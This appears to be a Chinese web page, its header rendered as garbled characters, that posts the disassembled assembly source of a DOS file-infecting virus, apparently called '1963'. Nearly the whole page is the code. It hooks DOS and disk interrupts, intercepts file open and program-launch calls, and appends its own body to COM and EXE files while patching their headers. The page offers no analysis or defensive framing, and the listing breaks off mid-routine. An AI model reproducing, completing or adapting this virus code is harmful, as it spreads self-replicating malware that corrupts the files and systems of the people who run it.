1963Ô´³ÌÐò£¡£¡

Àà±ð£º±à³ÌÓïÑÔ µã»÷£º0 ÆÀÂÛ£º0 ÍƼö£º

 

data_1e equ 4 ; (0000:0004=7FBh)

data_2e equ 6 ; (0000:0006=70h)

data_3e equ 4Ch ; (0000:004C=88h)

data_4e equ 84h ; (0000:0084=16h)

data_6e equ 0Ah ; (0046:000A=0)

data_7e equ 16h ; (0046:0016=0)

data_8e equ 2Ch ; (0046:002C=50h)

data_9e equ 8ABh ; (0046:08AB=4146h)

data_10e equ 8ADh ; (0046:08AD=3154h)

data_11e equ 0Ah ; (08D4:000A=2F9h)

data_12e equ 0Ch ; (08D4:000C=3872h)

data_13e equ 100h ; (08D4:0100=0DFh)

data_14e equ 1 ; (4815:0001=0FFFFh)

data_15e equ 100h ; (4816:0100=0FFh)

data_16e equ 1 ; (8343:0001=0FFFFh)

data_17e equ 0Ah ; (8344:000A=0)

data_18e equ 0Eh ; (8344:000E=8344h)

data_49e equ 900h ; (8344:0900=0)

data_50e equ 902h ; (8344:0902=0)

data_51e equ 904h ; (8344:0904=8344h)

data_52e equ 906h ; (8344:0906=0)

data_53e equ 9EFh ; (8344:09EF=0)

data_54e equ 10AFh ; (8344:10AF=0)

data_55e equ 10B1h ; (8344:10B1=0)

data_56e equ 10B3h ; (8344:10B3=0)

seg_a segment byte public

assume cs:seg_a, ds:seg_a

org 100h

virus proc far

start:

mov ah,30h ; '0'

int 21h ; DOS Services ah=function 30h

; get DOS version number ax

cmp al,3

jb loc_1 ; Jump if below

mov ax,1200h

int 2Fh ; Multiplex/Spooler al=func 00h

; get installed status

cmp al,0FFh

loc_1:

mov ax,0Bh

jc loc_4 ; Jump if carry Set

mov ah,4Ah ; 'J'

mov bx,140h

int 21h ; DOS Services ah=function 4Ah

; change mem allocation, bx=siz

jc loc_4 ; Jump if carry Set

cli ; Disable interrupts

push cs

pop ss

mov sp,13FEh

call sub_1 ; (01EB)

sti ; Enable interrupts

mov ax,ds:data_8e ; (0046:002C=50h)

or ax,ax ; Zero ?

jz loc_5 ; Jump if zero

call sub_13 ; (07EC)

mov es,ax

xor di,di ; Zero register

xor ax,ax ; Zero register

loc_2:

scasw ; Scan es:[di] for ax

jnz loc_2 ; Jump if not zero

scasw ; Scan es:[di] for ax

mov dx,di

push es

pop ds

mov ah,48h ; 'H'

mov bx,0FFFFh

int 21h ; DOS Services ah=function 48h

; allocate memory, bx=bytes/16

mov ah,48h ; 'H'

int 21h ; DOS Services ah=function 48h

; allocate memory, bx=bytes/16

mov es,ax

mov ah,49h ; 'I'

int 21h ; DOS Services ah=function 49h

; release memory block, es=seg

xor ax,ax ; Zero register

mov cx,bx

mov bx,es

locloop_3:

push cx

mov cx,8

xor di,di ; Zero register

rep stosw ; Rep when cx >0 Store ax to es:[di]

inc bx

mov es,bx

pop cx

loop locloop_3 ; Loop if cx > 0

push cs

pop es

mov bx,data_51e ; (8344:0904=44h)

mov di,bx

stosw ; Store ax to es:[di]

mov al,80h

stosw ; Store ax to es:[di]

mov ax,cs

stosw ; Store ax to es:[di]

mov ax,5Ch

stosw ; Store ax to es:[di]

mov ax,cs

stosw ; Store ax to es:[di]

mov ax,6Ch

stosw ; Store ax to es:[di]

mov ax,cs

stosw ; Store ax to es:[di]

mov ax,4B00h

int 21h ; DOS Services ah=function 4Bh

; run progm @ds:dx, parm @es:bx

loc_4:

push cs

pop ds

call sub_13 ; (07EC)

jmp dword ptr cs:data_17e ; (8344:000A=0)

loc_5:

mov ax,1220h

mov bx,5

int 2Fh ; ??INT Non-standard interrupt.

push bx

dec bx

dec bx

mov es:[di],bl

mov ax,1216h

int 2Fh ; ??INT Non-standard interrupt.

dec bx

dec bx

mov es:[di],bx

mov ah,48h ; 'H'

mov bx,0FFFFh

int 21h ; DOS Services ah=function 48h

; allocate memory, bx=bytes/16

mov ah,48h ; 'H'

int 21h ; DOS Services ah=function 48h

; allocate memory, bx=bytes/16

mov ds,ax

pop bx

mov ax,4200h

xor cx,cx ; Zero register

xor dx,dx ; Zero register

int 21h ; DOS Services ah=function 42h

; move file ptr, cx,dx=offset

mov ah,3Fh ; '?'

mov dx,data_15e ; (4816:0100=0FFh)

mov cx,es:[di+11h]

int 21h ; DOS Services ah=function 3Fh

; read file, cx=bytes, to ds:dx

jc loc_4 ; Jump if carry Set

mov ah,3Eh ; '>'

int 21h ; DOS Services ah=function 3Eh

; close file, bx=file handle

mov ah,26h ; '&'

mov dx,ds

int 21h ; DOS Services ah=function 26h

; create progm seg prefix dx

dec dx

mov es,dx

mov es:data_14e,ds ; (4815:0001=0FFFFh)

inc dx

mov es,dx

mov ss,dx

mov sp,0FFFEh

push ds

mov ax,100h

push ax

retf ; Return far

virus endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1 proc near

push ds

mov ax,1203h

int 2Fh ; Multiplex/Spooler al=func 03h

; remove all files from queue

mov cs:data_51e,ds ; (8344:0904=8344h)

xor si,si ; Zero register

mov ds,si

mov di,288h

mov si,cs

xchg di,ds:data_1e ; (0000:0004=7FBh)

xchg si,ds:data_2e ; (0000:0006=70h)

pushf ; Push flags

pushf ; Push flags

pushf ; Push flags

mov bp,sp

or byte ptr [bp+1],1

popf ; Pop flags

pushf ; Push flags

pushf ; Push flags

mov word ptr cs:data_52e,8AFh ; (8344:0906=0)

mov ah,1

call dword ptr ds:data_3e ; (0000:004C=2288h)

popf ; Pop flags

mov word ptr cs:data_52e,8ABh ; (8344:0906=0)

mov ah,0Bh

call dword ptr ds:data_4e ; (0000:0084=1716h)

popf ; Pop flags

mov ds:data_1e,di ; (0000:0004=7FBh)

mov ds:data_2e,si ; (0000:0006=70h)

pop ds

push ds

push es

mov bx,cs

mov bp,2AEh

mov ax,ds:data_9e ; (0046:08AB=4146h)

mov dx,ds:data_10e ; (0046:08AD=3154h)

xor si,si ; Zero register

mov ds,si

cmp ax,ds:data_4e ; (0000:0084=1716h)

jne loc_6 ; Jump if not equal

cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h)

jne loc_6 ; Jump if not equal

mov ds:data_4e,bp ; (0000:0084=1716h)

mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h)

jmp short loc_10 ; (0285)

loc_6:

mov ax,8ABh

mov es,bx

mov cx,10h

cld ; Clear direction

locloop_7:

mov di,ax

mov ds,dx

cmpsw ; Cmp [si] to es:[di]

jnz loc_9 ; Jump if not zero

cmpsw ; Cmp [si] to es:[di]

jnz loc_8 ; Jump if not zero

mov [si-4],bp

mov [si-2],bx

loc_8:

dec si

dec si

loc_9:

dec si

loop locloop_7 ; Loop if cx > 0

xchg si,cx

inc dx

cmp dx,bx

jne locloop_7 ; Jump if not equal

loc_10:

pop es

pop ds

retn

sub_1 endp

push bp

mov bp,sp

push ax

mov ax,[bp+4]

cmp ax,cs:data_51e ; (8344:0904=8344h)

ja loc_11 ; Jump if above

push bx

mov bx,cs:data_52e ; (8344:0906=0)

mov cs:[bx+2],ax

mov ax,[bp+2]

mov cs:[bx],ax

and byte ptr [bp+7],0FEh

pop bx

loc_11:

pop ax

pop bp

iret ; Interrupt return

db 55h, 8Bh,0ECh, 80h,0FCh, 48h

db 74h, 0Ah, 80h,0FCh, 4Ah, 74h

db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch

db 0E8h, 89h, 05h,0E8h,0AFh, 05h

db 9Ch,0E8h, 87h, 05h,0EBh, 55h

db 80h,0FCh, 31h, 74h, 05h, 80h

db 0FCh

db 4Ch, 75h, 0Dh

loc_12:

push bx

mov bx,13h

loc_13:

call sub_5 ; (0532)

dec bx

jns loc_13 ; Jump if not sign

pop bx

jmp short loc_23 ; (0342)

loc_14:

cmp ah,0Fh

je loc_15 ; Jump if equal

cmp ah,10h

je loc_15 ; Jump if equal

cmp ah,17h

je loc_15 ; Jump if equal

cmp ah,23h ; '#'

jne loc_16 ; Jump if not equal

loc_15:

call sub_15 ; (081F)

jmp short loc_23 ; (0342)

loc_16:

cmp ah,3Fh ; '?'

jne loc_20 ; Jump if not equal

call sub_5 ; (0532)

jnc loc_18 ; Jump if carry=0

mov ax,5

loc_17:

jmp loc_37 ; (0403)

loc_18:

jnz loc_23 ; Jump if not zero

call sub_22 ; (0875)

jc loc_17 ; Jump if carry Set

pushf ; Push flags

call sub_24 ; (0884)

push ds

pop es

mov di,dx

call sub_11 ; (0785)

call sub_25 ; (0896)

loc_19:

popf ; Pop flags

pop bp

retf 2 ; Return far

loc_20:

cmp ah,3Dh ; '='

je loc_21 ; Jump if equal

cmp ah,43h ; 'C'

je loc_21 ; Jump if equal

cmp ah,56h ; 'V'

jne loc_22 ; Jump if not equal

loc_21:

call sub_3 ; (0519)

jmp short loc_23 ; (0342)

loc_22:

cmp ah,3Eh ; '>'

jne loc_24 ; Jump if not equal

call sub_5 ; (0532)

loc_23:

push word ptr [bp+6]

popf ; Pop flags

pop bp

cli ; Disable interrupts

jmp dword ptr cs:data_20 ; (8344:08AB=0)

loc_24:

cmp ah,14h

je loc_25 ; Jump if equal

cmp ah,21h ; '!'

je loc_25 ; Jump if equal

cmp ah,27h ; '''

je loc_25 ; Jump if equal

jmp loc_35 ; (03DE)

loc_25:

call sub_15 ; (081F)

jnc loc_27 ; Jump if carry=0

loc_26:

pop bp

mov al,1

iret ; Interrupt return

loc_27:

jnz loc_23 ; Jump if not zero

call sub_24 ; (0884)

call sub_14 ; (0814)

cmp ah,14h

jne loc_28 ; Jump if not equal

mov ax,[si+0Ch]

mov dx,80h

mul dx ; dx:ax = reg * ax

xor bx,bx ; Zero register

add al,[si+20h]

adc ah,bl

adc bx,dx

xchg ax,bx

jmp short loc_29 ; (038F)

loc_28:

mov ax,[si+23h]

mov bx,[si+21h]

loc_29:

mov cx,[si+0Eh]

mul cx ; dx:ax = reg * ax

jnc loc_31 ; Jump if carry=0

loc_30:

call sub_25 ; (0896)

jmp short loc_26 ; (0364)

loc_31:

xchg ax,bx

mul cx ; dx:ax = reg * ax

add dx,bx

jc loc_30 ; Jump if carry Set

mov cs:data_37,ax ; (8344:08D0=0)

mov cs:data_38,dx ; (8344:08D2=0)

mov cs:data_39,cx ; (8344:08D4=0)

call sub_25 ; (0896)

call sub_22 ; (0875)

or al,al ; Zero ?

jz loc_32 ; Jump if zero

cmp al,3

jne loc_34 ; Jump if not equal

loc_32:

call sub_24 ; (0884)

cmp ah,27h ; '''

mov ax,cs:data_39 ; (8344:08D4=0)

jnz loc_33 ; Jump if not zero

mul cx ; dx:ax = reg * ax

jc loc_30 ; Jump if carry Set

loc_33:

push ax

mov ah,2Fh ; '/'

int 21h ; DOS Services ah=function 2Fh

; get DTA ptr into es:bx

mov di,bx

pop ax

call sub_11 ; (0785)

call sub_25 ; (0896)

loc_34:

pop bp

iret ; Interrupt return

loc_35:

cmp ax,4B00h

je loc_38 ; Jump if equal

cmp ax,4B01h

je loc_36 ; Jump if equal

jmp loc_23 ; (0342)

loc_36:

call sub_2 ; (042F)

jc loc_37 ; Jump if carry Set

push si

push di

push ds

push cs

pop ds

mov si,offset data_41 ; (8344:08E2=0)

lea di,[bx+0Eh] ; Load effective addr

cld ; Clear direction

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

pop ds

pop di

pop si

loc_37:

pushf ; Push flags

shr byte ptr [bp+6],1 ; Shift w/zeros fill

popf ; Pop flags

rcl byte ptr [bp+6],1 ; Rotate thru carry

pop bp

iret ; Interrupt return

loc_38:

call sub_2 ; (042F)

jc loc_37 ; Jump if carry Set

push ax

mov ah,51h ; 'Q'

int 21h ; DOS Services ah=function 51h

; get active PSP segment in bx

mov ds,bx

mov es,bx

pop ax

cli ; Disable interrupts

mov sp,cs:data_41 ; (8344:08E2=0)

mov ss,cs:data_42 ; (8344:08E4=0)

inc sp

inc sp

sti ; Enable interrupts

jmp dword ptr cs:data_43 ; (8344:08E6=0)

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2 proc near

call sub_24 ; (0884)

stc ; Set carry flag

call sub_4 ; (051A)

loc_39:

mov ax,0Bh

jc loc_40 ; Jump if carry Set

cld ; Clear direction

pushf ; Push flags

push ds

mov ax,3522h

int 21h ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

mov cs:data_24,bx ; (8344:08B7=0)

mov word ptr cs:data_24+2,es ; (8344:08B9=8344h)

lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr

push cs

pop es

mov di,offset data_39 ; (8344:08D4=0)

mov bx,di

mov cx,7

rep movsw ; Rep when cx >0 Mov [si] to es:[di]

pop ds

call sub_16 ; (084C)

push dx

mov ax,4B01h

call sub_23 ; (0879)

pop dx

call sub_17 ; (0851)

jnc loc_42 ; Jump if carry=0

loc_40:

mov [bp+8],ax

loc_41:

call sub_25 ; (0896)

retn

loc_42:

mov [bp+8],ax

mov ah,51h ; 'Q'

int 21h ; DOS Services ah=function 51h

; get active PSP segment in bx

mov es,bx

mov si,[bp]

lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr

mov es:data_11e,dx ; (08D4:000A=2F9h)

mov es:data_12e,ds ; (08D4:000C=3872h)

mov ax,2522h

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

popf ; Pop flags

jnz loc_41 ; Jump if not zero

push cs

pop ds

mov si,data_51e ; (8344:0904=44h)

mov di,data_13e ; (08D4:0100=0DFh)

mov cx,7ABh

rep movsb ; Rep when cx >0 Mov [si] to es:[di]

call sub_7 ; (0758)

jz loc_44 ; Jump if zero

loc_43:

clc ; Clear carry flag

jmp short loc_41 ; (0470)

loc_44:

mov di,bx

add di,10h

mov ax,ds:data_55e ; (8344:10B1=0)

mov word ptr data_43,ax ; (8344:08E6=0)

mov ax,ds:data_56e ; (8344:10B3=0)

add ax,di

mov word ptr data_43+2,ax ; (8344:08E8=0)

mov cx,ds:data_54e ; (8344:10AF=0)

or cx,cx ; Zero ?

jz loc_43 ; Jump if zero

lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr

call sub_18 ; (0862)

jc loc_47 ; Jump if carry Set

mov bx,ax

push cx

push cs

pop ds

xor cx,cx ; Zero register

mov dx,ds:data_50e ; (8344:0902=0)

call sub_20 ; (086B)

mov dx,904h

pop cx

locloop_45:

push cx

mov cx,4

call sub_8 ; (0764)

pop cx

jc loc_46 ; Jump if carry Set

mov si,dx

push ds

mov ax,[si+2]

mov si,[si]

add ax,di

mov ds,ax

add [si],di

pop ds

loop locloop_45 ; Loop if cx > 0

call sub_19 ; (0867)

jmp short loc_43 ; (04A8)

loc_46:

call sub_19 ; (0867)

loc_47:

push es

pop ds

les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr

mov ds:data_17e,bx ; (8344:000A=0)

mov ds:data_18e,es ; (8344:000E=8344h)

call sub_13 ; (07EC)

stc ; Set carry flag

jmp loc_39 ; (0436)

sub_2 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_3 proc near

clc ; Clear carry flag

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_4:

push ax

push bx

pushf ; Push flags

call sub_18 ; (0862)

jc loc_48 ; Jump if carry Set

mov bx,ax

popf ; Pop flags

pushf ; Push flags

call sub_6 ; (0533)

pushf ; Push flags

call sub_19 ; (0867)

popf ; Pop flags

loc_48:

pop bx

pop bx

pop ax

retn

sub_3 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_5 proc near

clc ; Clear carry flag

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_6:

cld ; Clear direction

call sub_24 ; (0884)

pushf ; Push flags

push bx

mov ax,1220h

int 2Fh ; ??INT Non-standard interrupt.

jc loc_49 ; Jump if carry Set

xor bh,bh ; Zero register

mov bl,es:[di]

mov ax,1216h

int 2Fh ; ??INT Non-standard interrupt.

jnc loc_50 ; Jump if carry=0

loc_49:

call sub_25 ; (0896)

retn

loc_50:

push es

push cs

pop ds

mov ax,3523h

int 21h ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

mov data_26,bx ; (8344:08BB=0)

mov word ptr data_26+2,es ; (8344:08BD=8344h)

inc ax

int 21h ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

mov data_28,bx ; (8344:08BF=0)

mov word ptr data_28+2,es ; (8344:08C1=8344h)

mov ah,25h ; '%'

mov dx,offset int_24h_entry

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

dec ax

inc dx

inc dx

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

pop es

pop bx

mov al,2

xchg al,es:[di+2]

mov data_33,al ; (8344:08C9=0)

mov ax,es:[di+5]

mov data_34,ax ; (8344:08CA=0)

mov ax,es:[di+15h]

mov data_37,ax ; (8344:08D0=0)

mov ax,es:[di+17h]

mov data_38,ax ; (8344:08D2=0)

mov ax,es:[di+11h]

mov dx,es:[di+13h]

mov data_35,ax ; (8344:08CC=0)

mov data_36,dx ; (8344:08CE=0)

cmp ax,1Ah

sbb dx,0

jc loc_55 ; Jump if carry Set

popf ; Pop flags

jc loc_52 ; Jump if carry Set

mov ax,es:[di+28h]

cmp ax,5845h

je loc_51 ; Jump if equal

cmp ax,4F43h

jne loc_55 ; Jump if not equal

mov al,4Dh ; 'M'

loc_51:

cmp al,es:[di+2Ah]

jne loc_55 ; Jump if not equal

loc_52:

xor cx,cx ; Zero register

xor dx,dx ; Zero register

call sub_20 ; (086B)

mov dx,8EAh

mov cl,1Ah

call sub_8 ; (0764)

jc loc_57 ; Jump if carry Set

xor cx,cx ; Zero register

xor dx,dx ; Zero register

call sub_7 ; (0758)

jnz loc_53 ; Jump if not zero

mov ax,data_47 ; (8344:08F2=0)

mov dl,10h

mul dx ; dx:ax = reg * ax

mov cx,dx

mov dx,ax

loc_53:

push cx

push dx

add dx,7ABh

adc cx,0

cmp cx,data_36 ; (8344:08CE=0)

jne loc_54 ; Jump if not equal

cmp dx,data_35 ; (8344:08CC=0)

loc_54:

pop dx

pop cx

jbe loc_56 ; Jump if below or =

loc_55:

jmp short loc_62 ; (065D)

loc_56:

push cx

push dx

call sub_20 ; (086B)

mov dx,904h

mov cx,7ABh

call sub_8 ; (0764)

jnc loc_58 ; Jump if carry=0

loc_57:

jmp short loc_60 ; (0656)

loc_58:

push es

push di

push cs

pop es

mov si,data_53e ; (8344:09EF=0)

mov di,offset ds:[1EBh] ; (8344:01EB=1Eh)

mov cx,0C3h

repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]

pop di

pop es

jnz loc_65 ; Jump if not zero

mov dx,cx

call sub_21 ; (0870)

mov cx,7ADh

mov dx,904h

call sub_7 ; (0758)

jnz loc_59 ; Jump if not zero

add cx,6

loc_59:

add es:[di+11h],cx

adc word ptr es:[di+13h],0

call sub_8 ; (0764)

jc loc_60 ; Jump if carry Set

mov si,dx

dec cx

dec cx

call sub_10 ; (0778)

cmp dx,[si]

je loc_61 ; Jump if equal

loc_60:

stc ; Set carry flag

jmp short loc_63 ; (0661)

loc_61:

cmp al,al

jmp short loc_63 ; (0661)

loc_62:

mov al,1

cmp al,0

loc_63:

pushf ; Push flags

loc_64:

mov si,offset data_33 ; (8344:08C9=0)

cld ; Clear direction

inc di

inc di

movsb ; Mov [si] to es:[di]

inc di

inc di

movsw ; Mov [si] to es:[di]

add di,0Ah

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

mov ax,2524h

lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

dec ax

lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

popf ; Pop flags

call sub_25 ; (0896)

retn

loc_65:

test byte ptr es:[di+4],4

jnz loc_62 ; Jump if not zero

mov ah,0Dh

int 21h ; DOS Services ah=function 0Dh

; flush disk buffers to disk

push bx

push ds

push es

mov ax,3540h

int 21h ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

mov data_30,bx ; (8344:08C3=0)

mov word ptr data_30+2,es ; (8344:08C5=8344h)

mov al,13h

int 21h ; DOS Services ah=function 35h

; get intrpt vector al in es:bx

mov data_22,bx ; (8344:08B3=0)

mov word ptr data_22+2,es ; (8344:08B5=8344h)

mov ah,25h ; '%'

lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

mov al,40h ; '@'

;* mov dx,offset loc_85 ;*

db 0BAh, 59h,0ECh

mov bx,0F000h

mov ds,bx

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

pop es

pop ds

pop bx

xor cx,cx ; Zero register

xor dx,dx ; Zero register

call sub_21 ; (0870)

mov cx,7ABh

mov si,904h

call sub_7 ; (0758)

jnz loc_66 ; Jump if not zero

add cx,6

mov ax,data_46 ; (8344:08F0=0)

mov ds:data_54e,ax ; (8344:10AF=0)

mov ax,data_48 ; (8344:08FE=0)

mov ds:data_55e,ax ; (8344:10B1=0)

mov ax,ds:data_49e ; (8344:0900=0)

mov ds:data_56e,ax ; (8344:10B3=0)

loc_66:

push si

call sub_10 ; (0778)

mov [si],dx

pop dx

inc cx

inc cx

call sub_9 ; (076E)

jc loc_68 ; Jump if carry Set

pop dx

pop cx

call sub_20 ; (086B)

mov dx,100h

mov cx,7ABh

call sub_9 ; (076E)

jc loc_69 ; Jump if carry Set

call sub_7 ; (0758)

jnz loc_67 ; Jump if not zero

xor cx,cx ; Zero register

mov data_46,cx ; (8344:08F0=0)

mov data_48,dx ; (8344:08FE=0)

mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0)

xor dx,dx ; Zero register

call sub_20 ; (086B)

mov dx,8EAh

mov cx,1Ah

call sub_9 ; (076E)

jc loc_69 ; Jump if carry Set

loc_67:

cmp al,al

jmp short loc_70 ; (073C)

loc_68:

mov al,1

cmp al,0

jmp short loc_70 ; (073C)

loc_69:

stc ; Set carry flag

loc_70:

pushf ; Push flags

mov ah,0Dh

int 21h ; DOS Services ah=function 0Dh

; flush disk buffers to disk

push ds

mov ax,2513h

lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

mov al,40h ; '@'

lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

pop ds

jmp loc_64 ; (0662)

sub_5 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_7 proc near

mov ax,data_45 ; (8344:08EA=0)

cmp ax,5A4Dh

je loc_ret_71 ; Jump if equal

cmp ax,4D5Ah

loc_ret_71:

retn

sub_7 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_8 proc near

mov ah,3Fh ; '?'

call sub_23 ; (0879)

jc loc_ret_72 ; Jump if carry Set

cmp ax,cx

loc_ret_72:

retn

sub_8 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_9 proc near

mov ah,40h ; '@'

call sub_23 ; (0879)

jc loc_ret_73 ; Jump if carry Set

cmp ax,cx

loc_ret_73:

retn

sub_9 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_10 proc near

push cx

xor dx,dx ; Zero register

locloop_74:

lodsb ; String [si] to al

add dl,al

adc dh,0

loop locloop_74 ; Loop if cx > 0

pop cx

retn

sub_10 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_11 proc near

push cs

pop ds

mov si,904h

mov bx,ax

mov cx,7ABh

call sub_7 ; (0758)

jnz loc_75 ; Jump if not zero

mov ax,data_47 ; (8344:08F2=0)

mov dx,10h

mul dx ; dx:ax = reg * ax

push bx

push di

call sub_12 ; (07BF)

pop di

pop bx

mov si,offset data_45 ; (8344:08EA=0)

mov cx,1Ah

mov ax,ds:data_54e ; (8344:10AF=0)

mov data_46,ax ; (8344:08F0=0)

mov ax,ds:data_55e ; (8344:10B1=0)

mov data_48,ax ; (8344:08FE=0)

mov ax,ds:data_56e ; (8344:10B3=0)

mov ds:data_49e,ax ; (8344:0900=0)

loc_75:

xor ax,ax ; Zero register

xor dx,dx ; Zero register

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_12:

sub ax,data_37 ; (8344:08D0=0)

sbb dx,data_38 ; (8344:08D2=0)

jc loc_76 ; Jump if carry Set

jnz loc_ret_79 ; Jump if not zero

sub bx,ax

jbe loc_ret_79 ; Jump if below or =

add di,ax

jmp short loc_77 ; (07E2)

loc_76:

neg ax

adc dx,0

neg dx

jnz loc_ret_79 ; Jump if not zero

sub cx,ax

jbe loc_ret_79 ; Jump if below or =

add si,ax

loc_77:

cmp cx,bx

jbe loc_78 ; Jump if below or =

mov cx,bx

loc_78:

cld ; Clear direction

rep movsb ; Rep when cx >0 Mov [si] to es:[di]

loc_ret_79:

retn

sub_11 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_13 proc near

pushf ; Push flags

call sub_24 ; (0884)

mov ah,49h ; 'I'

push ds

pop es

int 21h ; DOS Services ah=function 49h

; release memory block, es=seg

mov ah,49h ; 'I'

mov es,ds:data_8e ; (0046:002C=50h)

int 21h ; DOS Services ah=function 49h

; release memory block, es=seg
